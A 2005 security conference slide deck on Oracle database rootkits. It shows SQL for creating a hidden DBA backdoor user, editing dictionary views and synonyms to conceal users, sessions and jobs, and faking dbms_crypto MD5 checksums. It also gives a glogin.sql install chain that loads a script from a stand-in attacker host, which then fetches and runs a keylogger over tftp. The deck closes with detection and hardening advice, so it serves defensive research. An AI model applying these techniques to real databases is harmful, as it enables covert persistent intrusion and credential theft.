Database Rootkits

Alexander Kornbrust
01-April-2005
1. Introduction
2. OS Rootkits
3. Database Rootkits
4. Execution Path
5. Hide Users
6. Hide Processes
7. Hide Database Jobs
8. Modify internal PL/SQL Packages
9. Installing Rootkits
10. Rootkit Detection
11. Conclusion
12. Q/A
Operating Systems and Databases are quite similar in the architecture.

Both have

- Users
- Processes
- Jobs
- Executables
- Symbolic Links
- ...

➡ A database is a kind of operating system
## Introduction

<table>
<thead>
<tr>
<th>OS cmd</th>
<th>Oracle</th>
<th>SQL Server</th>
<th>DB2</th>
<th>Postgres</th>
</tr>
</thead>
<tbody>
<tr>
<td>ps</td>
<td>select * from v$process</td>
<td>select * from sysprocesses</td>
<td>list application</td>
<td>select * from pg_stat_activity</td>
</tr>
<tr>
<td>kill 1234</td>
<td>alter system kill session '12,55'</td>
<td>SELECT @var1 = spid FROM sysprocesses WHERE nt_username='andrew' AND spid&lt;&gt;@spidEXEC ('kill '+@var1);</td>
<td>force application (1234)</td>
<td></td>
</tr>
<tr>
<td>Executeables</td>
<td>View, Package, Procedures and Functions</td>
<td>View, Stored Procedures</td>
<td>View, Stored Procedures</td>
<td>View, Stored Procedures</td>
</tr>
<tr>
<td>execute</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
<td>select * from view; exec procedure</td>
</tr>
<tr>
<td>cd</td>
<td>alter session set current_schema =user01</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Introduction

If a database is a kind of operating system it should be possible to migrate operating system malware (like rootkits or viruses) to the database world.
Introduction

- The following examples are realized with Oracle (in PL/SQL).

It is possible to transfer the concept to other databases (MSSQL or DB2) by replacing

- Synonyms to Views/Aliases
- Packages/Procedures/Functions to stored procedures
- PL/SQL to T/SQL / PL/pgSQL
OS Rootkit

- Definition Wikipedia:

A rootkit is a set of tools used after cracking a computer system that hides logins, processes […] a set of recompiled UNIX tools such as ps, netstat, passwd that would carefully hide any trace that those commands normally display.
OS Rootkits

- What happens if a hacker breaks into a server?
  - Hacker removes his traces.
  - The attacker installs an OS rootkit.
OS Rootkits

- Result of the `who` command with and without an installed rootkit

**without rootkit**

```bash
[root@picard root]# who
root   pts/0 Apr  1 12:25
root   pts/1 Apr  1 12:44
root   pts/1 Apr  1 12:44
ora    pts/3 Mar 30 15:01
hacker pts/3 Feb 16 15:01
```

**with rootkit**

```bash
[root@picard root]# who
root   pts/0 Apr  1 12:25
root   pts/1 Apr  1 12:44
root   pts/1 Apr  1 12:44
ora    pts/3 Mar 30 15:01
hacker pts/3 Feb 16 15:01
```
Database Rootkits

- Implement a database rootkit
  - Oracle execution path
  - Hide database users
  - Hide databases processes
  - Hide database jobs
  - Modify internal database functions
Database Rootkits

- Ways to implement a database rootkit
  - Modify the (database) object itself
  - Change the execution path
  - Change the SQL statement via VPD
  - PL/SQL Native
Oracle Execution Path

How is Oracle resolving object names?

Example:

```
SQL> Select username from dba_users;
```

Name resolution:

- Is there a local object in the current schema (table, view, procedure, …) called dba_users? If yes, use it.
- Is there a private synonym called dba_users? If yes, use it.
- Is there a public synonym called dba_users? If yes, use it.
- Is VPD in use? If yes, modify SQL Statement.
Oracle Execution Path

We can change the execution path by

- Creating a local object with the identical name
Execution Path Oracle

We can change the execution path by

- Creating a local object with the identical name
- Creating a private synonym pointing to a different object
Oracle Execution Path

We can change the execution path by

- Creating a local object with the identical name
- Creating a private synonym pointing to a different object
- Creating or modify a public synonym pointing to a different object
Oracle Execution Path

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages

Virtual Private Database
Execution Path Oracle

We can change the execution path by

- Creating a local object with the identical name
- Creating a private synonym pointing to a different object
- Creating or modify a public synonym pointing to a different object
- Switching to a different schema
Oracle Execution Path

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages

Virtual Private Database
Hide Database Users

User management in Oracle

- User and roles are stored together in the table SYS.USER$
- Users have flag TYPE# = 1
- Roles have flag TYPE# = 0
- Views dba_users and all_users to simplify access
- Synonyms for dba_users and all_users
Hide Database Users

Example: Create a database user called hacker

```sql
SQL> create user hacker identified by hacker;

SQL> grant dba to hacker;
```
Example: List all database users

```sql
SQL> select username from dba_users;

USERNAME
---------
SYS
SYSTEM
DBSNMP
SYSMAN
MGMT_VIEW
OUTLN
MDSYS
ORDSYS
EXFSYS
HACKER

[...]
```
Hide Database Users

Enterprise Manager (Java)

<table>
<thead>
<tr>
<th>Benutzername</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
</tr>
<tr>
<td>CTXSYS</td>
</tr>
<tr>
<td>DATA_SCHEMA</td>
</tr>
<tr>
<td>DBSNMP</td>
</tr>
<tr>
<td>DIP</td>
</tr>
<tr>
<td>DMSYS</td>
</tr>
<tr>
<td>EXFSYS</td>
</tr>
<tr>
<td>FLOWS_FILES</td>
</tr>
<tr>
<td>FLOWS_010500</td>
</tr>
<tr>
<td>HACKER</td>
</tr>
<tr>
<td>HTMLDBALEX</td>
</tr>
<tr>
<td>HTMLDB_PUBLIC_USER</td>
</tr>
<tr>
<td>MASTER</td>
</tr>
<tr>
<td>MDDATA</td>
</tr>
<tr>
<td>MDSYS</td>
</tr>
<tr>
<td>MGMT_VIEW</td>
</tr>
<tr>
<td>MOBILEADMIN</td>
</tr>
<tr>
<td>OLAPSYS</td>
</tr>
<tr>
<td>ORDPLUGINS</td>
</tr>
<tr>
<td>ORDSYS</td>
</tr>
<tr>
<td>OUTLN</td>
</tr>
<tr>
<td>PUBLIC</td>
</tr>
</tbody>
</table>

Enterprise Manager (Web)

Quest TOAD
Hide Database Users

Add an additional line to the view

```
AND U.NAME != 'HACKER'
```
Hide Database Users

Enterprise Manager (Java)

<table>
<thead>
<tr>
<th>Username</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
</tr>
<tr>
<td>CTXSYS</td>
</tr>
<tr>
<td>DATA_SCHEMA</td>
</tr>
<tr>
<td>DBSNMP</td>
</tr>
<tr>
<td>DIP</td>
</tr>
<tr>
<td>DMSYS</td>
</tr>
<tr>
<td>EXFSYS</td>
</tr>
<tr>
<td>FLOWS_FILES</td>
</tr>
<tr>
<td>FLOWS_010500</td>
</tr>
<tr>
<td>HTMXMLDBALEX</td>
</tr>
<tr>
<td>HTMXMLDB_PUBLIC_USER</td>
</tr>
<tr>
<td>MASTER</td>
</tr>
<tr>
<td>MDDATA</td>
</tr>
<tr>
<td>MDSYS</td>
</tr>
</tbody>
</table>

Enterprise Manager (Web)

To run an exact match search or to run a case sensitive search:

Results

<table>
<thead>
<tr>
<th>Select</th>
<th>Username</th>
<th>Account</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>ANONYMOUS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td></td>
<td>CTXSYS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td></td>
<td>DATA_SCHEMA</td>
<td>OPEN</td>
</tr>
<tr>
<td></td>
<td>DBSNMP</td>
<td>OPEN</td>
</tr>
<tr>
<td></td>
<td>DIP</td>
<td>EXPIRED</td>
</tr>
<tr>
<td></td>
<td>DMSYS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td></td>
<td>EXFSYS</td>
<td>EXPIRED</td>
</tr>
<tr>
<td></td>
<td>FLOWS_010500</td>
<td>LOCKED</td>
</tr>
<tr>
<td></td>
<td>FLOWS_FILES</td>
<td>LOCKED</td>
</tr>
<tr>
<td></td>
<td>HTMXMLDBALEX</td>
<td>OPEN</td>
</tr>
<tr>
<td></td>
<td>HTMXMLDB_PUBLIC_USER</td>
<td>OPEN</td>
</tr>
</tbody>
</table>

Quest TOAD

<table>
<thead>
<tr>
<th>Tables</th>
<th>Views</th>
<th>Synonyms</th>
<th>Policy Groups</th>
<th>Profiles</th>
<th>Snapsot</th>
<th>Resource Groups</th>
<th>Roles</th>
<th>Resource</th>
<th>Java</th>
<th>DB Links</th>
<th>Users</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>User</th>
</tr>
</thead>
<tbody>
<tr>
<td>ANONYMOUS</td>
</tr>
<tr>
<td>CTXSYS</td>
</tr>
<tr>
<td>DATA_SCHEMA</td>
</tr>
<tr>
<td>DBSNMP</td>
</tr>
<tr>
<td>DIP</td>
</tr>
<tr>
<td>DMSYS</td>
</tr>
<tr>
<td>EXFSYS</td>
</tr>
<tr>
<td>FLOWS_010500</td>
</tr>
<tr>
<td>FLOWS_FILES</td>
</tr>
<tr>
<td>HTMXMLDBALEX</td>
</tr>
<tr>
<td>HTMXMLDB_PUBLIC_USER</td>
</tr>
</tbody>
</table>

HACKER
Hide Database Users

TOAD is using the view ALL_USERS instead of DBA_USERS. That’s why the user HACKER is still visible.
Hide Database Users

Now the user is gone in TOAD too…

![Database Users Screenshot]
Hide Database Users

select * from dba_users; (e.g. as user SYSTEM)

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages

and u.name != 'HACKER'
Hide Database Users – option 1

Create a local view SYSTEM.ALL_USERS accessing the original view SYS.ALL_USERS

```sql
SELECT "USERNAME", "USER_ID", "CREATED"
FROM sys.all_users
WHERE username != 'HACKER'
```
Hide Database Users – option 1

Select * from all_users;  (e.g. as user SYSTEM)
Hide Database Users – option 2

1. Create a new view SYSTEM.ALL_USERS2

```sql
SELECT "USERNAME", "USER_ID", "CREATED"
FROM SYS.all_users
WHERE username != 'HACKER'
```

2. Create a private synonym SYSTEM.ALL_USERS;

```sql
CREATE SYNONYM SYSTEM.ALL_USERS FOR SYSTEM.ALL_USERS2;
```
Hide Database Users – option 2

Select * from all_users; (e.g. as user SYSTEM)
Hide Database Users – option 3

1. Create a new view SYSTEM.ALL_USERS2

2. Create a public synonym SYSTEM.ALL_USERS

```
CREATE PUBLIC SYNONYM ALL_USERS FOR SYSTEM.ALL_USERS2;
```
Hide Database Users – option 3

Select * from all_users; (e.g. as user SYSTEM)

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

SYS
- Tables
- Functions
- Procedures
- Packages
- Views

Public Synonyms

Private Synonyms

Red-Database-Security GmbH
Hide Database Users – option 4

1. Create a view in a different schema (e.g. hacker)

```
SELECT "USERNAME", "USER_ID", "CREATED"
FROM SYS.ALL_USERS
WHERE username != 'HACKER'
```

2. Switch to the schema containing the modified object (e.g. via logon trigger)

```
alter session set current_schema=HACKER;
```
Hide Database Users – option 4

Select * from all_users; (e.g. as user SYSTEM)

User 1
- Tables
- Functions
- Procedures
- Packages
- Views
- Private Synonyms

User n
- Tables
- Func.
- Proc.
- Pack.
- Views
- Private Synonyms

Public Synonyms

SYS
- Views
- Tables
- Functions
- Procedures
- Packages
Hide Database Users – option 4

Select * from all_users; (e.g. as user SYSTEM)
Hide Processes

Process management in Oracle

- Processes are stored in a special view v$session located in the schema SYS
- Public synonym v$session pointing to v_$session
- Views v_$session to access v$session
Hide Processes

Example: List all database processes

```
SQL> select sid, serial#, program from v$session;
```

<table>
<thead>
<tr>
<th>SID</th>
<th>SERIAL#</th>
<th>PROGRAM</th>
</tr>
</thead>
<tbody>
<tr>
<td>297</td>
<td>11337</td>
<td>OMS</td>
</tr>
<tr>
<td>298</td>
<td>23019</td>
<td>OMS</td>
</tr>
<tr>
<td>300</td>
<td>35</td>
<td>OMS</td>
</tr>
<tr>
<td>301</td>
<td>4</td>
<td>OMS</td>
</tr>
<tr>
<td>304</td>
<td>1739</td>
<td>OMS</td>
</tr>
<tr>
<td>305</td>
<td>29265</td>
<td>sqlplus.exe</td>
</tr>
<tr>
<td>306</td>
<td>2186</td>
<td>OMS</td>
</tr>
<tr>
<td>307</td>
<td>30</td>
<td><a href="mailto:emagent@picard.rds">emagent@picard.rds</a> (TNS V1)</td>
</tr>
<tr>
<td>308</td>
<td>69</td>
<td>OMS</td>
</tr>
<tr>
<td>310</td>
<td>5611</td>
<td>OMS</td>
</tr>
<tr>
<td>311</td>
<td>49</td>
<td>OMS</td>
</tr>
</tbody>
</table>

[...]
Hide Processes

Modify the views (v$session, gv_$session, flow_sessions, v_$process) by appending

`username != 'HACKER'`
Database Jobs in Oracle

- Jobs are stored in the table SYS.JOB$
- View dba_jobs to simplify access
- Synonym for dba_jobs
Hide Database Jobs

Example: Create a database job running at midnight

```
declare
    mydate date;
begin
    select sysdate into mydate from dual;
end;
```
## Hide Database Jobs

See all database jobs in the view `dba_jobs`

<table>
<thead>
<tr>
<th>JOB</th>
<th>LOG_USER</th>
<th>PRIV_USER</th>
<th>SCHEMA_USER</th>
<th>LAST_DATE</th>
<th>LAST_SEC</th>
<th>THIS_DATE</th>
<th>THIS_SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 15:23:05</td>
<td>15:23:05</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 21:00:03</td>
<td>21:00:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>29.03.2005 20:47:38</td>
<td>20:47:38</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>29.03.2005 21:10:53</td>
<td>21:10:53</td>
<td></td>
<td></td>
</tr>
<tr>
<td>50</td>
<td>HACKER</td>
<td>HACKER</td>
<td>HACKER</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Hide Database Jobs

Add an additional line to the view

```sql
select JOB, owner LOG_USER, owner PRIV_USER, owner SCHEMA_USER,
  LAST_DATE, substr(to_char(last_date,'HH24:MI:SS'),1,8) LAST_SEC,
  THIS_DATE, substr(to_char(this_date,'HH24:MI:SS'),1,8) THIS_SEC,
  NEXT_DATE, substr(to_char(next_date,'HH24:MI:SS'),1,8) NEXT_SEC,
  (total+(sysdate-nvl(this_date,systdate)))*86400 TOTAL_TIME,
  decode(mod(FLAG,2),1,'Y',0,'N',?'') BROKEN,
  INTERVAL# interval, FAILURES, WHAT,
  nlsenv NIS_ENV, env MISC_ENV, j.fieldl INSTANCE
from sys.job$i
where owner != 'HACKER'
```
## Hide Database Jobs

Now the job is no longer visible.

<table>
<thead>
<tr>
<th>JOB</th>
<th>LOG_USER</th>
<th>PRIV_USER</th>
<th>SCHEMA_USER</th>
<th>LAST_DATE</th>
<th>LAST_SEC</th>
<th>THIS_DATE</th>
<th>THIS_SEC</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 15:23:05</td>
<td>15:23:05</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SYS</td>
<td>WKSYS</td>
<td>WKSYS</td>
<td>29.03.2005 21:00:03</td>
<td>21:00:03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>31</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>SYSTEM</td>
<td>29.03.2005 20:47:38</td>
<td>20:47:38</td>
<td></td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>SYSMAN</td>
<td>29.03.2005 21:16:18</td>
<td>21:16:18</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Modify Internal PL/SQL Packages

Modifying PL/SQL-Packages is more difficult

- Packages which are stored as source code are easy to modify. Just add your PL/SQL code.

- Most internal packages from Oracle are wrapped (=obfuscated) and protected from modifications.
Modify Internal PL/SQL Packages

The following example shows how to tamper the Oracle md5 function

- Calculate md5 checksum of some lines of source-code (here: a line of the view dba_users)
- Change the execution path of the md5-function
- Call a modified md5-function
Modify Internal PL/SQL Packages

Calculate md5-checksum with dbms_crypto

```sql
declare
    code_source clob;
    md5hash varchar2(32);
begin
    code_source := 'and pr.resource# = 1';
    md5hash := rawtohex(dbms_crypto.hash(typ => dbms_crypto.HASH_MD5, src => code_source));
    dbms_output.put_line('MD5=' || md5hash);
end;
/

MD5=08590BBCA18F6A84052F6670377E28E4
```
Modify Internal PL/SQL Packages

Change the execution path by creating a local package called dbms_crypt with the same specification as dbms_crypt.

FUNCTION Hash (src IN CLOB CHARACTER SET ANY_CS,typ IN PLS_INTEGER)
    RETURN RAW
AS
    buffer varchar2(60);
BEGIN
    buffer := src;
    IF (buffer='and pr.resource# = 1 and u.name != ```HACKER``;')
        THEN
            RETURN(SYS.dbms_crypto.hash('and pr.resource# = 1',typ));
        END IF;
        RETURN(SYS.dbms_crypto.hash(src,typ));
    END;
    [...]
Modify Internal PL/SQL Packages

Calculate md5-checksum again with the faked dbms_crypto

declare
    code_source clob;
    md5hash varchar2(32);
begin
    code_source := 'and pr.resource# = 1 and u.name != ''HACKER''';
    md5hash := rawtohex(dbms_crypto.hash(typ =>
        dbms_crypto.HASH_MD5, src => code_source));
    dbms_output.put_line('MD5='||md5hash);
end;
/

Returns the wrong MD5-checksum:

MD5=08590BBCA18F6A84052F6670377E28E4
Installing Rootkits

There are many ways to install a rootkit in an Oracle database

- Default Passwords (e.g. system/manager)
- TNS Listener Exploits (e.g. set logfile .rhosts)
- Operating System Exploits
- Many many more…
Installing Rootkits via glogin.sql

The following example shows how to install a database rootkit in many Oracle databases.

Knowledge of the Oracle passwords is not necessary

glogin.sql / login.sql is a feature and cannot be disabled in SQL*Plus 10g
Installing Rootkit via glogin.sql

```
C:\> sqlplus system/pw@db1
```
Installing Rootkit via glogin.sql

C:\> sqlplus system/pw@db1

SQL> select * from dba_users;

Oracle DB1
Oracle DB2
Oracle DB3
Oracle DBn
Installing Rootkit via glogin.sql

DBA Client PC

glogin.sql

@http://www.evildba.com/rootkit.sql

Oracle DB1

Oracle DB2

Oracle DB3

...

Oracle DBn
Installing Rootkit via glogin.sql

DBA Client PC
C:\> sqlplus system/pw@db1

glogin.sql

@http://www.evildba.com/rootkit.sql

Oracle DB1
Oracle DB2
Oracle DB3
...
Oracle DBn
Installing Rootkit via glogin.sql

www.evildba.com

rootkit.sql

create user hacker ...
...

DBA Client PC
C:\> sqlplus system/pw@db1

glogin.sql

@http://www.evildba.com/rootkit.sql

Oracle DB1
Oracle DB2
Oracle DB3
...
Oracle DBn
Installing Rootkit via glogin.sql

www.evildba.com

rootkit.sql

create user hacker ...
...

Create user hacker ...

DBA Client PC

C:\> sqlplus system/pw@db1

glogin.sql

@http://www.evildba.com/rootkit.sql

Oracle DB1

Oracle DB2

Oracle DB3

Oracle DBn
Installing Rootkit via glogin.sql

www.evildba.com

rootkit.sql

create user hacker ...
...

dba_client PC

C:\> sqlplus system/pw@db1
SQL> select * from dba_users;
glogin.sql

@http://www.evildba.com/rootkit.sql

Oracle DB1

Oracle DB2

Oracle DB3

Oracle DBn

@http://www.evildba.com/rootkit.sql
Installing Rootkit via glogin.sql

www.evildba.com

rootkit.sql

create user hacker ...
...

Oracle DB1

rootkit

Oracle DB2

rootkit

Oracle DB3

Oracle DBn

...

C:\> sqlplus system/pw@db2

glogin.sql

@http://www.evildba.com/rootkit.sql
Installing Rootkit via glogin.sql

www.evildba.com

rootkit.sql

create user hacker ...

... 

glogin.sql

C:\> sqlplus system/pw@db3

@http://www.evildba.com/rootkit.sql

Oracle DB1

rootkit

Oracle DB2

rootkit

Oracle DB3

rootkit

... 

Oracle DBn

Red-Database-Security GmbH
Alexander Kornbrust, 01-Apr-2005
Installing Rootkit via glogin.sql

www.evildba.com

rootkit.sql

create user hacker ...
...

Oracle DB1

rootkit

Oracle DB2

rootkit

Oracle DB3

rootkit

Oracle DBn

rootkit

DBA Client PC

C:\> sqlplus system/pw@dbn

glogin.sql

@http://www.evildba.com/rootkit.sql
1. Create a text file rootkit.sql containing the modified
data dictionary objects (e.g. dba_users)

```
set term off
create user hacker identified by my!hacker;
grant dba to hacker;

CREATE OR REPLACE VIEW SYS.DBA_USERS(
    [...]  
    and u.name != hacker;

host tftp -i evildba.com GET keylogger.exe keylogger.exe
host keylogger.exe

set term on
```

```
Installing Rootkit via glogin.sql

2. Put this text file rootkit.sql on a webservice, e.g. http://www.evildba.com/rootkit.sql

3. Put the HTTP-call into the glogin.sql or login.sql file of the DBA client (e.g. via a Internet Explorer Exploit or via Linux/Windows bootdisk)

```
################ glogin.sql ################

@http://www.evildba.com/rootkit.sql

################ rootkit.sql ################
```
Installing Rootkit via glogin.sql

4. The next time a DBA logins to a database the following happens (in the background):

- rootkit.sql is downloaded from www.evildba.com
- rootkit.sql is executed
  - Disable terminal output
  - Create a user hacker
  - Modify data dictionary objects
  - Download keylogger.exe
  - Execute keylogger.exe
  - Enable Terminal output
- Show SQL-Prompt
Surviving Updates / Patches

During database updates the repository is often rebuild from scratch. This normally removes all changes in the data dictionary objects like a modified views (e.g. DBA_USERS).

To avoid this a hacker could

- Create a special database job which reinstalls the rootkit after an upgrade
- Change glogin.sql on the database server
- Database logon trigger
- ...

Detecting Rootkits

To detect modifications in a repository it is necessary to

- Generate a baseline of the repository or get the baseline from the vendor
- Compare the repository against a baseline
- Check the results of the comparison

- Checksums must be calculated externally because the internal MD5-checksum could be tampered
Detecting Rootkits

Repscan for Oracle

- Retrieves the data dictionary
- Generates baselines of the data dictionary
- Compares data dictionary with a baseline
- Finds modifications in execution paths
- Checks for insecure database settings

Usage

- generate.cmd
- check.cmd
- Manual: repscan.txt
Detecting Rootkits

Used Parameters

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Value</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>dbinfclist</td>
<td>databases.xml</td>
<td>55a64451632a86495a615fc33c642b8</td>
</tr>
<tr>
<td>dbchecklist</td>
<td>sxx.xml</td>
<td>40e2d372bca6a5d18331b06a770d34</td>
</tr>
<tr>
<td>action</td>
<td>check</td>
<td></td>
</tr>
<tr>
<td>signatures</td>
<td>signatures.txt</td>
<td></td>
</tr>
<tr>
<td>reportfile</td>
<td>scanreport.xml</td>
<td>37d3b8685149f59e8d8813853486078</td>
</tr>
<tr>
<td>rulesonly</td>
<td>No</td>
<td></td>
</tr>
</tbody>
</table>

Scanned databases

<table>
<thead>
<tr>
<th>Database Name</th>
<th>Signature</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>ora10103</td>
<td>signatures/ora10103_sig.csv</td>
<td>failed</td>
</tr>
<tr>
<td>ora90206</td>
<td>signatures/ora90206_sig.csv</td>
<td>passed</td>
</tr>
</tbody>
</table>

Modified items in ora10103

<table>
<thead>
<tr>
<th>Modification type</th>
<th>Owner</th>
<th>Type</th>
<th>Name</th>
<th>new MD5-checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td>added</td>
<td>SYSTEM</td>
<td>SYNONYM</td>
<td>DBA_USERS</td>
<td>9d5a69aeebcfe6f4020a5402d61e65a3f</td>
</tr>
<tr>
<td>modified</td>
<td>SYS</td>
<td>VIEW</td>
<td>DBA_USERS</td>
<td>b00c9f18.7d8514ab5e8f707040c592e1</td>
</tr>
</tbody>
</table>
Conclusion

Modification of metadata is a generic problem because there is no security layer inside the repository (e.g. protecting views). It affects all repository based system.

- Databases (e.g. Oracle, DB2, MS SQL, Postgres, …)
- Repository based software (e.g. Siebel, …)
- Custom software with own user management (e.g. Web applications)
- 3rd-party software for databases is also affected (e.g. Administration-Tools, Vulnerability-Scanner, …)
Conclusion

Secure coding hints

- Use base tables instead of views for critical objects (e.g. users, processes)
- Use absolute execution paths for critical objects (e.g. SYS.dbms_crypto)
- Application (e.g. database) itself should check the repository for modifications
- Compare the repository regularly against a (secure) baseline
Additional Links

- Red-Database-Security GmbH
  http://www.red-database-security.com

- Repscan
  http://red-database-security.com/repscan.html

- Pete Finnigan‘s Website with many papers about Oracle security
  http://www.petefinnigan.com/orasec.htm

- Preinstalled Oracle @ VMware @ Linux
  http://otn.oracle.com

- Windows PE Bootdisk
  http://www.nu2.nu/pebuilder/
Contact

Alexander Kornbrust

Red-Database-Security GmbH
Bliesstrasse 16
D-66538 Neunkirchen
Germany

Telefon: +49 (0)6821 – 95 17 637
Fax: +49 (0)6821 – 91 27 354
E-Mail: ak at red-database-security.com